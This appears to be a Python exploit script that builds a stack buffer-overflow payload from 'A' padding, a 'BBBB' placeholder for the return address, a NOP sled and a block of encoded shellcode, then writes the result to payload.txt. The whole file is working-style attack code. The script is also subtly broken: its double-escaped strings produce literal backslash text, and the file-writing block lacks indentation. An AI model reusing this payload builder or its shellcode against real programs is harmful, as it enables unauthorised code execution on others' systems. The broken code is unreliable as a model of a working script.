prefix = "\\x41" * 80
eip = "\\x42" * 4
nop = "\\x90" * (400 - 137)
buf = ""
buf += "\\xba\\x8a\\x2a\\xb0\\xa4\\xd9\\xed\\xd9\\x74\\x24\\xf4\\x5d\\x31"
buf += "\\xc9\\xb1\\x1c\\x31\\x55\\x14\\x03\\x55\\x14\\x83\\xed\\xfc\\x68"
buf += "\\xdf\\xda\\xd9\\x34\\xb9\\xa9\\x25\\x7d\\xb9\\xdd\\x29\\x7d\\x33"
buf += "\\x3e\\x4f\\xfc\\xa0\\xc1\\x60\\x33\\xa6\\xf3\\x5b\\x3c\\x44\\xa0"
buf += "\\x18\\x91\\xe1\\x45\\x16\\xf4\\x46\\x2f\\xe5\\x76\\xf7\\xda\\xf1"
buf += "\\x22\\x92\\x18\\x90\\xcb\\x32\\x8a\\xed\\x2a\\xd8\\xba\\xb6\\xc6"
buf += "\\x7b\\x9b\\x85\\x96\\x13\\x98\\xd2\\x82\\x42\\xc4\\x84\\xf8\\x1c"
buf += "\\xf8\\x38\\xed\\x80\\x96\\x28\\x5c\\x69\\xee\\xa8\\x34\\xef\\xa8"
buf += "\\xe7\\x48\\x3e\\xab\\x48\\x2e\\x0c\\xac\\xf9\\xed\\x3e\\xcb\\x70"
buf += "\\xa0\\x3a\\xd9\\x03\\xd1\\xf5\\xed\\xb3\\xd6\\x34\\x6d\\x34\\x07"
buf += "\\x9d\\xde\\x3d\\x7a\\xa2\\xe0\\xa3"

payload = prefix + eip + nop + buf
print(payload)

with open('payload.txt', 'w') as f:
hex_content = f.write(payload)